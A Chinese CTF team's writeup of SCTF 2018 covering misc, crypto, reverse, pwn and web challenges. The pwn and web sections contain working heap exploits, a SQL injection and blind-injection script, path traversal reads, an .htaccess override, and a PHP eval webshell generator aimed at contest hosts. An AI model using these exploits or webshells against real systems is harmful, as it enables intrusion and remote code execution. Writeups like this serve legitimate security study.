SCTF 2018 Writeup — De1ta
De1ta CTF 53827浏览 · 2018-06-22 05:41

Team: De1ta

[TOC]

0x00 Misc

神秘的交易

参考资料:
https://bbs.pediy.com/thread-151259-1.htm
https://www.waitalone.cn/security-hardware-usb.html
下载Saleae Logic 分析软件分析截获的logicdata数据包:

clk栏为时钟电平,data栏为数据电平。
每个指令都在时钟高电平时数据下降沿后开始,数据从低位到高位的顺序发送。发送的命令格式为 一个字节指令类型 一个字节地址 一个字节数据,然后时钟高电平数据电平上升沿代表本次命令结束。我们关注的指令类型为0x33,用于校验口令。发送命令格式为
0x33 0x01 s1
0x33 0x02 s2
0x33 0x03 s3
其中s1 s2 s3拼在一起就是那三个字节的口令了.
在下图方框部分可以找到校验口令:

放大后三条命令分别为:

在时钟电平为高电平时对应的数据电平高低位分别表示1和0,且数据按从低位到高位的顺序发送,因此三调指令分别为:
0x33 0x01 0x40
0x33 0x02 0x31
0x33 0x03 0x10
因此三个口令为 0x40 0x31 0x10

flag:SCTF{403110}

神奇的modbus

拿到数据包,输入modbus过滤

随便点一个,追踪tcp流,得到flag

flag:sctf{Easy_Mdbus}

肥宅快乐题

拿到swf文件,先扔到IE里玩了一下,没有什么特别的发现
游戏难度较高,通关遥遥无期
于是,直接用爱奇艺播放器打开,在第57帧可以看到通关的NPC对话

得到一串base64

flag:SYC{F3iZhai_ku4ile_T111}

被动了手脚的数据

题目提示了数据,这里使用了一款工具modbus-cli(https://github.com/tallakt/modbus-cli )接收modbus协议的数据。用法如下:

这里尝试读取1000字节的数据,由于每次读取数据长度太长会导致timeout,因此每次只读取50字节,写个脚本如下:

#!/bin/bash
start=400001
offset=50
for ((i=$start; i<=400001+1000; i+=50))  
do
    modbus read --modicon 116.62.123.67 $i $offset
    sleep 1
done

在跑出来的结果中,发现在400300-400331地址间有一段可疑数据:

把数据提取出来,转hex转ascii:

data = [21810, 18035, 25671, 22123, 22577, 11092, 26979, 26482, 22117, 18758, 14640, 18761, 30789, 28503, 12912, 28789, 13161, 12151, 26946, 13638, 30073, 26177, 29764, 29293, 11064, 31308, 21879, 27205, 20314, 13876, 26178, 13162] 
print len(data) flag="" 
for i in range(len(data)):  
    flag+=hex(data[i])[2:].decode('hex') 
print flag
#U2FsdGVkX1+TicgrVeIF90IIxEoW2ppu3i/wiB5FuyfAtDrm+8zLUwjEOZ64fB3j

得到字符串U2FsdGVkX1+TicgrVeIF90IIxEoW2ppu3i/wiB5FuyfAtDrm+8zLUwjEOZ64fB3j,由U2Fsd特征易知是AES加密的密文,使用解密网站,密钥为空,解得flag:

flag:sctf{S_y3L_0v6:M_0_dbus}

侧信道初探

从代码可以看出,当ki等于1时,需要多执行一步R←R+P,因此时间和功耗都会增加:

因此1 0 对应关系如下:

flag:SCTF{0110111010}

交易识破后的报复

这题是赛后才解出来的orz

背景知识

0x00 概述

根据IC卡中嵌入的集成电路的不同可以分为三类:存储器卡、逻辑加密卡、CPU卡。其中逻辑加密卡是功能介于存储器卡和CPU卡之间,逻辑加密卡主要是由EEPROM单元阵列和密码控制逻辑组成。根据统计资料分析,逻辑加密卡在应用中所占的比例是最高的。

SLE4428是SIMENS公司设计的逻辑加密IC卡, 容量为1K x 8Bit, 设有两个字节的密码. 只有通过了密码验证, 才可以对IC卡内的没有设置写/擦除保护的内容进行写/擦除. 内部有错误计数器(EC), 错误计数器总是可以被写的, 如果连续8次校验密码不成功, IC卡将自动被锁死, 数据只能读出, 不可再校验密码. 每个字节都可以单独的设置写/擦除保护, 一旦设置了写/擦除保护, 这个字节的数据就不能再写/擦除了, 而且写保护功能只能设置一次. 除了密码区, 其他所有字节在任何时候都可以读出来. (引自: <逻辑加密IC卡SLE4428介绍及其应用>[张元良/杨加林])

下图是卡的引脚及对应的功能:

内部结构图如下:

0x01 4428协议介绍

SLE4428信协议:

数据传输协议是指连接IFD器件和IC之间接口的协议。在I/O的所有数据的变化是由CLK的下降沿上确定的。

数据传递协议由四个模式组成:

  • 复位并应答复位

  • 命令模式

  • 数据输出模式

  • 处理模式

1.1 复位并应答复位

​ 当给IC卡上电后,IC卡进人上电复位(POR)状态,上电复位状态由复位操作停止,复位由RST引脚从0变为1开始,CLK由0变为1结束,复位操作将使IC卡放弃当前执行的命令. 当IC卡复位后,必须进行一次读操作. 如下图复位操作的时序图:

复位应答使Ic卡内部的地址计数器归零, 并且第一个数据位出现在I/O上. 然后再输人31个脉冲, 读出31位数据.

这段数据一般在最开始, 对密码分析暂无价值.

1.2 命令模式

​ SLE4428 IC卡的命令模式(命令输入)是当RST置高电平时, 相反, 当RST置低电平时为数据输出. 相较于复位模式, RST置高电平时间要长很多, 一般为三个字节的时间. 如下图:

RST I/O
1 Command entry(命令输入)
0 Data output(数据输出)

​ SLE4428总共有8种命令模式, 如下图:

如上面两图, 解释如下:

  • Byte 1的低6位(S0 - S5)是执行的操作, 高二位(A8 - A9)是地址位(目的地址)的高二位.
  • Byte 2的8位(A0 - A7)是目的地址的低8位, 所以目的地址位总共有: (A0 - A9) 10位.
  • Byte 3的8位(D0 - D7)是数据位. 当要向IC卡写数据的时候(100011 / 110011 / 000011 / 010011), 这个字节就是要写入的数据. 当IC卡读数据的时候(001100 / 011100 / 101100), 这个地址无效.
  • 注意: 读时序图的时候, 要注意是小端模式.

开始解题

密码校验

​ 题目种提到了改了用户密码, 并修改了金额, 如果是要写数据, 就必须先校验密码, 否则只能读取卡中的部分内容, 更加无法修改数据. SLE4428校验过程如下:

  1. 写错误计数器中没有被写过的一位:

  2. 分别输入(10110011)第一个/第二个校验码, 可得密码是(0512) :

  1. 校验通过后,擦除错误计数器EC(在该数据中没找到, 倒是有个不带保护位的读操作011100, 估计是先读EC, 若错误计数器为0就不擦除, 否则就要擦除.)

写/擦除数据

​ 密码校验通过之后, 便可以进行写/擦除数据的操作. 向IC卡写数据时(写0), 是对IC卡存储区的一个字节的某些位进行写. 向IC卡擦除数据时(写1), 是对IC卡存储区的整个字节进行擦除操作. 下面两图是写/擦除数据操作, 题目修改数据部分, 就是在这里. 这里总共有16次写/擦除操作, 每次操作取相应的目的地址(Byte 2)和数据(Byte 3), 即得到全部flag.

Address: 80 81 82 83 84 85 86 87 88 89 8A 8B 8C 8D 8E 8F

Data: FF F6 05 72 FF FF FF FF FF FF FF FF FF FF FF FF

至此可得flag:

flag:sctf{0512+808182838485868788898A8B8C8D8E8F+FFF60572FFFFFFFFFFFFFFFFFFFFFFFF}

0x01 Crypto

it may contain 'flag'

e非常大,导致d会很小,使用低解密指数攻击。借助工具(https://github.com/pablocelayes/rsa-wiener-attack/blob/master/RSAwienerHacker.py)求得d=731297.则msg=38321129004205530330779911668681589489034853148078444,INT转ASCII得到flag1sH3r3_d_ist0sma1l

flag:SCTF{flag1sH3r3_d_ist0sma1l}

0x02 Pwn

bufoverflow_a

首先leak出libc基址,然后构造large bin 来leak出堆地址,尝试过unsafe unlink…...
然而它delete完会置0………..感觉还是要house of orange……..
下面是payload

from pwn import *

debug=0
e=ELF('./libc.so')
context.log_level='debug'
if debug:
    p=process('./bufoverflow_a',env={'LD_PRELOAD':'./libc.so'})
    context.log_level='debug'
    gdb.attach(p)
else:
    p=remote('116.62.152.176',20001)

def ru(x):
    return p.recvuntil(x)

def se(x):
    p.send(x)


def alloc(sz):
    se('1\n')
    ru('Size: ')
    se(str(sz)+'\n')
    ru('>> ')

def delete(idx):
    se('2\n')
    ru('Index: ')
    se(str(idx)+'\n')
    ru('>> ')

def fill(content):
    se('3\n')
    ru('Content: ')
    se(content)
    ru('>> ')

def show():
    se('4\n')
    data=ru('1. Alloc')
    ru('>> ')
    return data

#-------leak libc base ---------------

alloc(0x108)
alloc(0x108)
delete(0)
delete(1)

alloc(0x108)

libc=u64(show()[:6]+'\x00\x00')

base=libc-0x399B58

print(hex(base))

delete(0)  #clear

#--------leak heap base------------------------

alloc(0x88)
alloc(0x1000)
alloc(0x500)
alloc(0x88)
alloc(0x88)
alloc(0x88)

delete(1)
delete(2)
delete(4)

alloc(0x88)

delete(1)
delete(5)
delete(3)

delete(0)
alloc(0x98)
alloc(0x88)

heap=u64(show()[:6]+'\x00\x00')-0xb0
haddr=heap+0x18

#clear
delete(0)
delete(1)

#---------unsafe unlink-------

alloc(0x108)
alloc(0x108)
alloc(0xf8)
alloc(0x88)


delete(1)
alloc(0x108)

fill(p64(0)+p64(0x101)+p64(haddr-0x18)+p64(haddr-0x10)+'a'*0xe0+p64(0x100))

delete(2)

alloc(0x1f8)
fill(p64(0x41)*0x3e+'\n')
delete(1)
delete(0)

alloc(0x218)
fill('a'*0x118+p64(0x91)+(p64(0x21)*24)[:-1]+'\n')
delete(3)

delete(2)
alloc(0x88)

delete(0)
delete(1)


io_list_all_addr = base + e.symbols['_IO_list_all']
jump_table_addr = base + e.symbols['_IO_file_jumps'] + 0xc0

alloc(0x218)
file_struct=p64(0)+p64(0x61)+p64(libc)+p64(io_list_all_addr - 0x10)+p64(2)+p64(3)

file_struct = file_struct.ljust(0xd8, "\x00")
file_struct += p64(jump_table_addr)
file_struct += p64(base + 0x3f52a)


fill('a'*0x110+file_struct+'\n')

print(hex(base+0x3f52a))
p.interactive()

flag:SCTF{0Ne_Nu11_8y7e_c4n_p1ck_up_7he_e@r7h}

sbbs

login处有溢出,可以在任意地方赋值admin .clientele
利用这个可以扩大某个被free的unsorted bin,然后控制后面的chunk

到这里的话如果给了libc,可以按照上一题的做法,house of orange

这里靠报错信息来找libc

找到是2.23的

然后之后就常规house of orange了

下面是payload

from pwn import *

debug=0
context.log_level='debug'
e=ELF('./libc.so')
if debug:
    #p=process('./sbbs')
    p=process('./sbbs',env={'LD_PRELOAD':'./libc.so'})
    context.log_level='debug'
    gdb.attach(p)
else:
    p=remote('116.62.142.216', 20002)

def ru(x):
    return p.recvuntil(x)

def se(x):
    p.send(x)


def create(sz,content):
    se('1\n')
    ru('Pls Input your note size')
    se(str(sz)+'\n')
    ru('Input your note')
    se(content)
    ru('your note is\n')
    data=ru('\n')[:-1]
    ru('4.exit')
    return data

def delete(idx):
    se('2\n')
    ru('Input id:')
    se(str(idx)+'\n')
    ru('4.exit')

def login(name,ty):
    se('3\n')
    ru('Please input your name')
    se(name)
    ru('choice type')
    se(str(ty)+'\n')
    ru('4.exit')


#-----leak heap--------
create(0x1488,'\n')
create(0x108,'\n')

delete(0)
data=create(0x108,'a'*17+'\n')[16:]
heap=u64(data.ljust(0x8,'\x00'))-0x61


#clear
create(0x1378,'\n')
delete(0)
delete(1)
delete(2)

#--------use login------


create(0x108,'\n')
create(0xe8,(p64(0x60)+p64(0x21))*0xe+'\n')
create(0x108,'\n')
create(0x108,'\n')

delete(1)
login('a'*8+p64(heap+0x118-0xf),0)



libc=u64(create(0x2e8,'\n')+'\x00\x00')
base=libc-0x3C4B78

io_list_all_addr = base + e.symbols['_IO_list_all']
jump_table_addr = base + e.symbols['_IO_file_jumps'] + 0xc0

delete(1)
create(0x2e8,'a'*0xe8+p64(0x91)+p64(0x21)*30+'\n')


for i in range(5):
    create(0x1408,'\n')


delete(1)

delete(2)

file_struct=p64(0)+p64(0x61)+p64(libc)+p64(io_list_all_addr - 0x10)+p64(2)+p64(3)

file_struct = file_struct.ljust(0xd8, "\x00")
file_struct += p64(jump_table_addr)
file_struct += p64(base + 0x4526a)

create(0x2e8,'a'*0xe0+file_struct+'\n')


se('1\n250\n')
print(hex(base))


p.interactive()

flag:sctf{c4FRjmtQKQaRidxdOCjzB898A4fHb0rM}

bufoverflow_b

新加了一个函数,可以控制地址写一个byte, 应该是可以通过这个这个改写当前堆指针
的末尾为0,然后就可以把它自己改成free_hook, 再来就可以修改 free_hook 了

貌似是这样,并没有进行尝试,自己用的应该算是非预期解吧。。

其他的部分和 bufferoverflow_a 都差不多,fill 的时候改了一点

unsigned __int64 __fastcall read_str_E2D(__int64 a1, unsigned __int64 a2)
{
………..
  v5 = __readfsqword(0x28u);
  for ( i = 0; i < a2; ++i )
  {
    if ( read(0, &buf, 1uLL) <= 0 )
    {
      perror("Read faild!\n");
      exit(-1);
    }
    if ( buf == 10 || !buf )  //===========> 这里 buf 读取直到遇到 null buye
………………………………...
}

前面 a 部署 fake chunk size 什么的 时候必定会存在 null byte

这样前面的 fill 的过程就会失效

但是还是可以通过 fill 来部署。。

具体这样

比如要搞一个 fake size 0x61

0x00 | 0x61
fd | bk

首先 fill 一下, size 的地方 传入 \x61
aaaaaaaa| \x61
fd | bk
然后重新 fill 一下, fill 的长度变短,像下面
aaaaaaa\x00|\x61

这样 \x61 就会遗留在 heap 上

其他的地址也可以类似的操作,不断的fill 之后就可以构造和 bufoverflow_a 一样的布局

那就简单了,改改 bufoverflow_a 的脚本就完事了, 脚本当时草草写的,并没有太考虑效率。。这样做缺点是需要有很多fill, 会花比较长时间。。w

#coding:utf-8
from pwn import *
import sys
import time

file_addr='./bufoverflow_b'
libc_addr='./libc.so.6'
host='116.62.152.176'
port=20002

p=process('./bufoverflow_b')
if len(sys.argv)==2:
    p=remote(host,port)


def menu(op):
    p.sendlineafter('>>',str(op))

def alloc(size):
    menu(1)
    p.sendlineafter('Size: ',str(size))

def delsome(index):
    menu(2)

    p.sendlineafter('Index: ',str(index))

def fill(con):
    menu(3)
    p.sendlineafter('Content:',con)
def show():

    menu(4)

def new_fill(payload,size):
    for i in range(size):
        fill('a'*(len(payload)-i)+payload[-i])


context.log_level='debug'
# libc leak
alloc(0x88)#0
alloc(0x88)#1

delsome(0)
alloc(0x88)#0

libc=ELF("./libc.so.6")
show()
leak=u64(p.recvline().strip().ljust(8,'\x00'))

libc_base=leak-0x88 -libc.symbols['__malloc_hook']+0x20

p.info('leak '+hex(leak))
p.info('libc_base '+hex(libc_base))
# clear
delsome(0)
delsome(1)


#### overlap unsorted bin 
alloc(0x150) #0
alloc(0x150) #1

payload='a'*0x110
payload+=p64(0x170)+p64(0x31)
payload+=p64(0x200)+p64(0x20)
new_fill(payload,0x28)

delsome(0)

alloc(0x160)#0
delsome(1)

alloc(0x88)#1
fill('a'*0x88)

alloc(0x88)#2
alloc(0x88)#3
alloc(0xb0)#4

alloc(0x160)#5

delsome(2)
delsome(0)

alloc(0xf0)#0
delsome(4)
alloc(0x290)#2

io_list=libc_base+libc.symbols['_IO_list_all']
system_addr=libc_base+libc.symbols['system']
vtable_addr=libc_base+libc.symbols['_IO_file_jumps']+0xc0-0x480
p.info('vtable_addr '+hex(vtable_addr))


file_struct=p64(0)+p64(0x61)+p64(leak)+p64(io_list - 0x10)+p64(2)+p64(3)
file_struct = file_struct.ljust(0xd8, "\x00")
file_struct += p64(vtable_addr)
file_struct += p64(libc_base + 0x3f38a)


payload='z'*0x10 
payload+=file_struct


size=len(payload)

# ----- ugly fill ---------------
# one _gadget
fill('z'*(size-1))
fill('z'*(size-0x8)+p64(libc_base +0x3f38a))

# vtable 
fill('z'*(size-0x8-1)+'\x00')
fill('z'*(size-0x10)+p64(vtable_addr))
for i in range(0xd8):
    fill('z'*(size-0x11-i)+'\x00')

# p64(3)
fill('z'*(0x10+0x28)+'\x03')
for i in range(0x8):
    fill('z'*(0x10+0x28-i-1)+'\x00')

# p64(2)
fill('z'*(0x10+0x20)+'\x02')
for i in range(0x8):
    fill('z'*(0x10+0x20-i-1)+'\x00')

# io_list_all -0x10 
fill('z'*(0x10+0x18)+p64(io_list-0x10))

for i in range(0x8):
    fill('z'*(0x10+0x18-i-1)+'\x00')

# unsorted bin addr
fill('z'*(0x10+0x10)+p64(leak))
for i in range(0x8):
    fill('z'*(0x10+0x10-i-1)+'\x00')

# size 0x61 
fill('z'*(0x10+0x8)+'\x61')
for i in range(0x8):
    fill('z'*(0x10+0x8-i-1)+'\x00')

# p64(0)
fill('z'*(0x10)+'\x00')

# trigger orange
alloc(0x88)
exp_bp('aaaaaaa')
p.interactive()

flag:SCTF{7here_@re_s0m3_3rr0rs_7hen_wh47_wi11_u_do}

WTF_Game

看了一下java的代码,自带任意写和任意读
关键一个点就是,有了任意写和任意读,能干什么?

平时的pwn题的话随便来一波都可以get shell
但是在java环境下,这就很复杂了......

首先尝试了直接把flag给dump出来,但是弄了半天,好像怎样都dump不出来flag,放弃了

然后仔细看了下,发现Save那里会返回Player和boss在栈上的地址,然后boss的toString是可以读flag的

那样只要把player和boss交换一下,就可以拿到flag了

下面是payload

debug=0
context.log_level='debug'
if debug:
    p=process('')
    #p=process('',env={'LD_PRELOAD':'./libc.so'})
    context.log_level='debug'
    gdb.attach(p)
    e=ELF('/lib/x86_64-linux-gnu/libc-2.24.so')
else:
    p=remote('149.28.12.44', 10001)

def ru(x):
    return p.recvuntil(x)

def se(x):
    p.sendline(x)


def get_addr_data(addr):
    se('DebugSetDataStoreAddress #'+str(addr))
    ru('>')
    se('showinfo')
    data=ru('\n')
    idx=data[1:].index('-')
    t=0x100000000
    d1=int(data[:idx+1])
    d2=int(data[idx+2:])
    d1=(d1+0x100000000)&0xffffffff
    d2=(d2+0x100000000)&0xffffffff
    ru('>')
    return p32(d1)+p32(d2)

def write_data(addr,data):
    se('DebugSetDataStoreAddress #'+str(addr))
    ru('>')
    se('SetHP #'+str(data))
    ru('>')

ru('>')
se('VeroFessIsHandsome')
ru('>')
se('DebugShowDataStoreAddress')

addr=int(ru('\n'))
ru('>')
print(addr)

se('Save')
data=ru('\n')
idx=data[1:].index('-')
t=0x100000000
d1=int(data[:idx+1])
d2=int(data[idx+2:])
d1=(d1+0x100000000)&0xffffffff
d2=(d2+0x100000000)&0xffffffff

print(hex(d1),d2)

data=[]
ru('>')

t1=u32(get_addr_data(d1)[4:])
t2=u32(get_addr_data(d2)[4:])


write_data(d1+4,t2-0x100000000)

se('showinfo')


p.interactive()

flag:sctf{UnSafe_I5_Really_UnsAfe}

0x03 Reverse

script in script

动态生成了一些函数,下断点就能拿到:

function a(r) {
    return D(~r, 1)
}

function D(r, n) {
    return n ? D(r ^ n, (r & n) << 1) : r
}

function E(r, n) {
    return D(r, a(n))
}

function F(r, n) {
    var a = 0;
    while (n) {
        if (n & 1) {
            a = D(a, r)
        }
        r = r << 1;
        n = n >> 1
    }
    return a
}

function G(r, n) {
    var a = 0;
    while (r >= n) {
        r = E(r, n);
        a = D(a, 1)
    }
    return a
}

function H(r) {
    return r.length
}

function J(r, n) {
    return !(r ^ n)
}

function K(r, n) {
    return r[n]
}

function L(r) {
    if (r.length == 1) {
        return r.charCodeAt(0)
    }
}

function M(r) {
    return +r
}

function N(r) {
    return String(r)
}

function Q(r, n, a, v) {
    for (var t = r; t <= n; t++) {
        if (a[t] != v[t - r]) {
            return false
        }
    }
    return true
}

主验证函数:

function r(r) {
    var n = r;
    var a = H(n); //返回n长度
    var v = J(a, 24); //n长度为24
    var t = K(n, 0);  //s
    var u = K(n, 1);  //c
    var i = K(n, 2);  //t
    var e = K(n, 3); //取n前四位 赋值到t u i e
    var f = D(L(t), L(i)); //f为231  
    var o = E(L(t), L(u)); //o为16
    var c = K(n, 6);
    var l = K(n, 7);
    var h = K(n, 16);
    var w = K(n, 17); //取n 7 8 17 18位 赋值到c l h w
    var I = J(E(L(u), L(h)), 0); //E(L(u), L(h)) == 0
    var S = J(D(L(c), L(l)), D(L(h), L(w))); //D(L(c), L(l)) == D(L(h), L(w))
    var _ = J(E(L(u), L(c)), 0); //E(L(u), L(c)) == 0
    var g = K(n, 21);
    var p = K(n, 22); //取n 22 23 位 赋值到g p
    var s = J(E(F(L(g), 2), 2), 64);
    var P = Q(9, 15, n, "Pt_In_S"); //9-15为Pt_In_S
    var T = J(L(l), L("r"));
    var b = J(f, 231);
    var d = J(o, 16);
    var j = M(K(n, 5));
    var k = J(G(M(O(N(L(e)), "0")), j), 204);
    var m = M(K(n, 8));
    var q = Q(18, 20, n, "IpT"); //18-20为IpT
    var x = J(E(j, m), 4);
    var y = J(F(m, m), m);
    var z = J(D(L(K(n, 4)), 2), 125);
    var A = J(L(u), 99); //u是 ‘c’ !!!!!!!!!....
    var B = J(L(n[23]), 125);
    var C = J(L(n[22]), 33);
    return v && I && S && _ && s && P && T && b && d && k && q && x && y && z && A && B && C
}

flag:sctf{5cr1Pt_In_ScrIpT!!}

Where is my 13th count?

反编译 .\Cheat Engine_Data\Managed\Assembly-CSharp.dll, 修改PlayerController.SetCountText中的判断条件, 使吃到一个的时候就移动地面, 即可看到flag.

private void SetCountText()
{
    this.countText.text = "Count: " + this.count.ToString();
    if (this.count >= 14) // 改为if (this.count >= 1)
    {
        this.winText.text = "Don't Eat Your Flag!";
        this.floor.transform.position = new Vector3(this.floor.transform.position.x, this.floor.transform.position.y - 2f, this.floor.transform.position.z);
    }
}

flag: SCTF{ThEFLAGGGGGGG}

Babymips

输入长度38, 先逐字节与下标加1异或, 然后取[5:37]先异或0x30, 再异或[0x73, 0x63, 0x74, 0x66][(i-5) % 4].

解密sub_400B3C, 长度0x1D8, 代码解密脚本:

f = open("data","rb")
data = f.read()
f.close()

code = ""
for i in xrange(0, len(data)):
    v = ord(data[i])
    vv = 0
    # flip bits
    for j in xrange(0, 8):
        k = v & (1 << j)
        k >>= j
        k <<= 7-j
        vv |= k
    code+=chr(vv)

f = open("code","wb")
f.write(code)
f.close()

flag解密脚本:

# byte_412038
a = \
[
    0x72, 0x61, 0x77, 0x62, 0x7E, 0x07, 0x35, 0x2E, 
    0x26, 0x24, 0x31, 0x38, 0x28, 0x12, 0x35, 0x07, 
    0x18, 0x22, 0x2F, 0x0F, 0x26, 0x34, 0x71, 0x25, 
    0x10, 0x20, 0x27, 0x37, 0x24, 0x32, 0x23, 0x0B, 
    0x18, 0x0E, 0x1F, 0x0F, 0x52, 0x5B
]
for i in xrange(0, 38):
    a[i] ^= i+1
for i in xrange(5, 37):
    a[i] ^= 0x30
for i in xrange(5, 37):
    a[i] ^= [0x73, 0x63, 0x74, 0x66][(i-5) % 4]
flag=""
for i in xrange(0, 38):
    flag+=chr(a[i])
print flag

flag: sctf{Babymips_iS_so_ea5y_yoooooooooo!}

crackme2

fork进程用断点通信, 子进程 sub_3E74 解密, 父进程sub_3940比较. 用链表保存字符串"We1co3t0lmel2eV", ptrace到断点时取子进程r0寄存器比较.

key = [0xEF, 0x145, 0x93, 0x134, 0x132]
secret = [ord(c) for c in "We1co3t0lmel2eV"]
a = \
[
    [(key[i] - secret[0  + i]) for i in xrange(0, 5)],
    [(key[i] - secret[5  + i]) for i in xrange(0, 5)],
    [(key[i] - secret[10 + i]) for i in xrange(0, 5)],
]
flag = [0 for i in xrange(0, 15)]
for i in xrange(0, 5):
    v = (a[0][i] + a[1][i] + a[2][i]) / 2
    flag[0 + i] = v - a[0][i]
    flag[5 + (i + 1) % 5] = v - a[1][i]
    flag[10 + (i + 2) % 5] = v - a[2][i]
s = ""
for i in xrange(0, 15):
    s += chr(flag[i])
print s

flag: We1com3t0leVel2

simple

test.zip用rc4解密得到dex文件. 反编译后抠代码穷举每组符合条件的字符.

53 5
55 7
61 =
63 ?
85 U
87 W
93 ]
95 _
117 u
119 w
125 }
-------------------
81 Q
83 S
85 U
87 W
89 Y
91 [
93 ]
95 _
113 q
115 s
117 u
119 w
121 y
123 {
125 }
-------------------
57 9
59 ;
61 =
63 ?
89 Y
91 [
93 ]
95 _
121 y
123 {
125 }

每组取前八个字符即为flag.

flag: SCTF{57=?UW]_QSUWY[]_9;=?Y[]_}

0x04 Web

Zhuanxv

通过报错知道服务器中间件是tomcat

80端口有apache默认页
github搜了一下发现后台登录页面 http://121.196.195.244:9032/zhuanxvlogin存在url http://121.196.195.244:9032/list

http://121.196.195.244:9032/loadimage?fileName=web_login_bg.jpg
⬆️这个url极其可疑,下载的文件竟然是bg.jpg

下载javaweb配置文件,发现是struts2项目 http://121.196.195.244:9032/loadimage?fileName=../../WEB-INF/web.xml

下载struts2配置文件 http://121.196.195.244:9032/loadimage?fileName=../../WEB-INF/classes/struts.xml

http://121.196.195.244:9032/loadimage?fileName=../../WEB-INF/classes/com/xxxxxxx.class
读取java编译后的文件并反编译得到源码
读取登陆部分的逻辑源码发现过滤不严格加上拼接参数,存在注入

构造payload如下
/zhuanxvlogin?user.name=admin%27%0Aor%0A%271%27%3E%270'%0Aor%0Aname%0Alike%0A'admin&user.password=1

结合前面读取到的adminaction类可以列目录
http://121.196.195.244:9032/list?pathName=/opt/tomcat/webapps/ROOT/WEB-INF/classes/com/cuitctf/po
读取WEB-INF/classes/com/cuitctf/po/Flag.class
反编译后是个flag的映射类,感觉flag在数据库中,读取cfg.xml映射文件,确定flag在数据库中

构造盲注脚本

import requests
s=requests.session()

flag=''
for i in range(1,50):
    p=''
    for j in range(1,255):
  payload="(select%0Aascii(substr(id,"+str(i)+",1))%0Afrom%0AFlag%0Awhere%0Aid<2)<'"+str(j)+"'"
        #print payload
        url="http://121.196.195.244:9032/zhuanxvlogin?user.name=admin'%0Aor%0A"+payload+"%0Aor%0Aname%0Alike%0A'admin&user.password=1"
        r1=s.get(url)
        #print url
        #print len(r1.text)
        if len(r1.text)>20000 and p!='':
            flag+=p
            print i,flag
            break
        p=chr(j)

flag:sctf{C46E250926A2DFFD83197539622B08E}

easiest web - phpmyadmin

账号密码都是root
顺手把密码改成HackMe1n
估计是被发现了 被改回去了...不知道啥密码
开了3389,系统是windows
通过报错爆www路径:

直接写文件写不了
通过sql日志文件写shell

菜刀连上去:

flag:sctf{31cf2213cc49605a30f07395d6e5b9c4}

BabySyc - Simple PHP Web

这题是比赛结束后才做出来的

预期解

看到文件包含和伪协议, 读他喵的, 读login.php发现是加密过的, 所以要先寻找so拓展的名字和位置, 最后找到:
php.ini : /etc/php/5.6/apache2/php.ini
encrypt_php.so : /usr/lib/php/20131226/encrypt_php.so
读出来之后交给逆向师傅......
经过逆向大佬的一翻努力:
login.php

<?php
if (!isset($lemon_flag)) {
    die('No!');
}
?>
<h1> Admin Login </h1>
<form action="" method="POST">
<input type="text" name="name" value="">
<input type="text" name="pass" value="">
<input type="submit" value="submit">
</form>

<?php
if (isset($_POST['name']) && isset($_POST['pass'])) {
    if ($_POST['name'] === 'admin' && $_POST['pass'] === 'sctf2018_h656cDBkU2') {
        $_SESSION['admin'] = 1;
    } else {
        die('<script>alert(/Login Error!/)</script>');
    }
}

//admin view

if (@$_SESSION['admin'] === 1) {
    ?>
<form action="./?f=upload_sctf2018_C9f7y48M75.php" method="POST" enctype="multipart/form-data">
    <input type="file" value="" name="upload">
    <input type="submit" value="submit" name="submit">
</form>

<?php
}
?>

upload_sctf2018_C9f7y48M75.php

<?php
if (!isset($lemon_flag)) {
    die('No!');
}

if (@$_SESSION['admin'] !== 1) {
    die('403.');
}

$ip = sha1(md5($_SERVER['REMOTE_ADDR'] . "sctf2018"));
$user_dir = './upload_7788/' . $ip;
if (!is_dir($user_dir)) {
    mkdir($user_dir);
    touch($user_dir . '/index.php');
}

if (isset($_POST['submit']) && !empty($_FILES)) {
    $typeAccepted = ["image/jpeg", "image/gif", "image/png"];
    $blackext = ["php", "php3", "php4", "php5", "pht", "phtml", "phps", "inc"];
    $filearr = pathinfo($_FILES["upload"]["name"]);

    if (!in_array($_FILES["upload"]['type'], $typeAccepted)) {
        die("type error");
    }
    if (in_array($filearr["extension"], $blackext)) {
        die("extension error");
    }

    $target_path = $user_dir . '/';
    $target_path .= basename($_FILES['upload']['name']);

    if (!move_uploaded_file($_FILES['upload']['tmp_name'], $target_path)) {
        die('upload error!');
    } else {
        echo 'succesfully uploaded! dir: ' . $user_dir . "/" . $_FILES['upload']['name'];
    }
} else {
    die("<script>alert('please upload image.')</script>");
}
?>

把文件上传后在index.php处包含会提示NoNoNo,猜测上传目录upload_7788被过滤,/tmp也被过滤
in_array区分大小写 可以用PHP绕过,但是上传上去之后发现不解析,猜测在.htaccess中关闭了php_flag engine, 于是先在本文件夹上传一个.htaccess覆盖 php_flag engine的值, 再加一个PHP解析type, 最后.htaccess文件如下:

AddType application/x-httpd-php .xxx
php_flag engine 1

最后上传一个加密过后的shell就ok了

附上加解密python脚本
encode.py

import struct
from Crypto.Cipher import AES
import hashlib
import zlib

outfile = 'shell.xxx'

content = '''<?php echo 'Works!'; eval($_POST[a]); ?>'''
if len(content)%16!=0:
    content=content+str((16-len(content)%16)*'0')

md5t = hashlib.md5()
md5t.update("YP68y3FsMDc6TvRgghq")
key = md5t.hexdigest()
iv = key[:16]
# print(key, iv)
dec = AES.new(key, AES.MODE_CBC, iv)
buf1 = dec.encrypt(content)

buf1 = zlib.compress(buf1)

buf0 = ''
i = 0
ch = ord(buf1[i])
while ch:
    buf0 += chr(ch ^ 0x9A)
    i += 1
    ch = ord(buf1[i])
buf0 += buf1[i:]

srclen = len(content)
dstlen = len(buf0)
head = struct.pack('<QQ',srclen,dstlen)

with open(outfile,'wb') as f:
    f.write(head + buf0)

decode.py

import struct
from Crypto.Cipher import AES
import hashlib
import zlib

infile = 'index2.php'
# path1 = dirr + "5.php"

f0 = open(infile, "rb")
dstlen = srclen = 0
dstlen,srclen = struct.unpack("<QQ",f0.read(16))
buf0 = f0.read(srclen)
f0.close()
print(hex(dstlen), hex(srclen))

# f1 = open(path1, "wb")
buf1 = ""
i = 0
ch = ord(buf0[i])
while(ch):
    buf1 += chr(ch ^ 0x9A)
    i+=1
    if i == 299:
        break
    ch = ord(buf0[i])
buf1 += buf0[i:]

buf1 = zlib.decompress(buf1)

md5t = hashlib.md5()
md5t.update("YP68y3FsMDc6TvRgghq")
key = md5t.hexdigest()
iv = key[:16]
# print(key, iv)
dec = AES.new(key, AES.MODE_CBC, iv)
buf1 = dec.decrypt(buf1)
# f1.write(buf1)
print buf1

flag在/tmp/flag_56CcE97QGNxDEXNpW3HY

flag:SCTF{f9466264088306fa2600349f290866c2}

赞美re师傅!

非预期解

session upload是非预期解
关于session upload给几个参考链接:
https://xz.aliyun.com/t/2148
